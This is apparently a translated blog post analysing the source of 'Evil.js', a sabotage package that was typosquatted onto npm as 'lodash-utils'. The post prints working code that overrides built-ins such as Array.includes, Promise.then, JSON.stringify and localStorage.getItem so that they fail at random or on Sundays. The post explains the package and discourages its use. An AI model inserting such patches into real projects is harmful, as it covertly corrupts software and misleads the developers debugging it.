Interpretation of the Evil.js source code that is popular on the whole network

Work together to create and grow together! This is the 18th day of my participation in the "Nuggets Daily New Plan · August Update Challenge", click to view the details of the event .

background

On August 18, 2022, a Evil.jsproject named suddenly became popular, and the README was introduced as follows:

What? Black Heart 996 Company is going to let you run away with a bucket?

Want to leave a little gift ?

Introduce this project into your project secretly, your project will have but not limited to the following magical effects:

  • Array.includes Always return false when the array length is divisible by 7 .
  • When Sunday, Array.map the result of the method always loses the last element.
  • Array.filter The result has a 2% probability of missing the last element.
  • setTimeout Always fires 1 second later than expected.
  • Promise.then 10% will not register on Sunday.
  • JSON.stringify will turn I(uppercase I) into l(lowercase L).
  • Date.getTime() The result will always be an hour slower.
  • localStorage.getItem There is a 5% chance of returning an empty string.

image.png

And the author released this package to npm, named lodash-utils, at first glance, it is a very normal npm package, utils-lodashvery similar to the name of this serious package.

If someone installs lodash-utilsthis package by mistake and introduces it, the code performance may be messed up, and the reason cannot be found. It's really a small "gift" for Black Heart 996 Company.

Now, this Github repository has been deleted (but some people fork the code can still be found), and the npm package has also marked it as a security issue, and the code has been removed from npm. It can be seen that the official npm is still very reliable, and the risky code will be offline in time.

image.png

Source code analysis

How does the author do it? We can learn a little bit, but only learn technology, don't do evil. Do more fun things.

execute function immediately

The code as a whole is an immediate execution function,

(global => {
  
})((0, eval('this')));
复制代码

该函数的参数是(0, eval('this')),返回值其实就是window,会赋值给函数的参数global

另有朋友反馈说,最新版本是这样的:

(global => {
  
})((0, eval)('this'));

复制代码

该函数的参数是(0, eval)('this'),目的是通过eval在间接调用下默认使用顶层作用域的特性,通过调用this获取顶层对象。这是兼容性最强获取顶层作用域对象的方法,可以兼容浏览器和node,并且在早期版本没有globalThis的情况下也能够很好地支持,甚至在windowglobalThis变量被恶意改写的情况下也可以获取到(类似于使用void 0规避undefined关键词被定义)。

为什么要用立即执行函数?

这样的话,内部定义的变量不会向外暴露。

使用立即执行函数,可以方便的定义局部变量,让其它地方没办法引用该变量。

否则,如果你这样写:

<script>
  const a = 1;
</script>
<script>
  const b = a + 1;
</script>
复制代码

在这个例子中,其它脚本中可能会引用变量a,此时a不算局部变量。

includes方法

数组长度可以被7整除时,本方法永远返回false。

const _includes = Array.prototype.includes;
Array.prototype.includes = function (...args) {
  if (this.length % 7 !== 0) {
    return _includes.call(this, ...args);
  } else {
    return false;
  }
};
复制代码

includes是一个非常常用的方法,判断数组中是否包括某一项。而且兼容性还不错,除了IE基本都支持。

作者具体方案是先保存引用给_includes。重写includes方法时,有时候调用_includes,有时候不调用_includes

注意,这里_includes是一个闭包变量。所以它会常驻内存(在堆中),但是开发者没有办法去直接引用。

map方法

当周日时,Array.map方法的结果总是会丢失最后一个元素。

const _map = Array.prototype.map;
Array.prototype.map = function (...args) {
  result = _map.call(this, ...args);
  if (new Date().getDay() === 0) {
    result.length = Math.max(result.length - 1, 0);
  }
  return result;
}
复制代码

如何判断周日?new Date().getDay() === 0即可。

这里作者还做了兼容性处理,兼容了数组长度为0的情况,通过Math.max(result.length - 1, 0),边界情况也处理的很好。

filter方法

Array.filter的结果有2%的概率丢失最后一个元素。

const _filter = Array.prototype.filter;
Array.prototype.filter = function (...args) {
  result = _filter.call(this, ...args);
  if (Math.random() < 0.02) {
    result.length = Math.max(result.length - 1, 0);
  }
  return result;
}
复制代码

includes一样,不多介绍了。

setTimeout

setTimeout总是会比预期时间慢1秒才触发。

const _timeout = global.setTimeout;
global.setTimeout = function (handler, timeout, ...args) {
  return _timeout.call(global, handler, +timeout + 1000, ...args);
}
复制代码

这个其实不太好,太容易发现了,不建议用。

Promise.then

Promise.then 在周日时有10%几率不会注册。

const _then = Promise.prototype.then;
Promise.prototype.then = function (...args) {
  if (new Date().getDay() === 0 && Math.random() < 0.1) {
    return;
  } else {
    _then.call(this, ...args);
  }
}
复制代码

牛逼,周日的时候才出现的Bug,但是周日正好不上班。如果有用户周日反馈了Bug,开发者周一上班后还无法复现,会以为是用户环境问题。

JSON.stringify

JSON.stringify 会把'I'变成'l'。

const _stringify = JSON.stringify;
JSON.stringify = function (...args) {
  return _stringify(...args).replace(/I/g, 'l');
}
复制代码

字符串的replace方法,非常常用,但是很多开发者会误用,以为'1234321'.replace('2', 't')就会把所有的'2'替换为't',其实这只会替换第一个出现的'2'。正确方案就是像作者一样,第一个参数使用正则,并在后面加个g表示全局替换。

Date.getTime

Date.getTime() 的结果总是会慢一个小时。

const _getTime = Date.prototype.getTime;
Date.prototype.getTime = function (...args) {
  let result = _getTime.call(this);
  result -= 3600 * 1000;
  return result;
}
复制代码

localStorage.getItem

localStorage.getItem 有5%几率返回空字符串。

const _getItem = global.localStorage.getItem;
global.localStorage.getItem = function (...args) {
  let result = _getItem.call(global.localStorage, ...args);
  if (Math.random() < 0.05) {
    result = '';
  }
  return result;
}
复制代码

用途

作者很聪明,有多种方式去改写原生行为。

但是除了作恶,我们还可以做更多有价值的事情,比如:

  • 修改原生fetch,每次请求失败时,可以自动做一次上报失败原因给监控后台。
  • 修改原生fetch,统计所有请求平均耗时。
  • 修改原生localStorage,每次set、get、remove时,默认加一个固定的key在前方。因为localStorage是按域名维度存储的,如果你没有引入微前端方案做好localStorage隔离,就需要自己开发这种工具,做好本地存储隔离。
  • 如果你是做前端基建工作的,不希望开发者使用某些原生的API,也可以直接拦截掉,并在开发环境下提示警告,提示开发者不允许用该API的原因和替代方案。
  • ……

写在最后

I am HullQin, the author of the offline party game on the official account ( please follow the official account, contact me, and make friends ). Before reposting this article, the author HullQin needs to be authorized. I independently developed the "Online Board Game Collection" , which is a web page where you can easily play Douzhuzhu, Gobang and other games online with friends, free of charge and no advertisements. Also independently developed "Synthetic Big Watermelon Remake" . Also developed Dice Crush for Game Jam 2022. If you like it, you can follow me~ I will share the related technologies of making games when I have time, and I will share them in these two columns: "Teach You to Make Small Games" and "Extreme User Experience" .

Guess you like

Origin juejin.im/post/7133134875426553886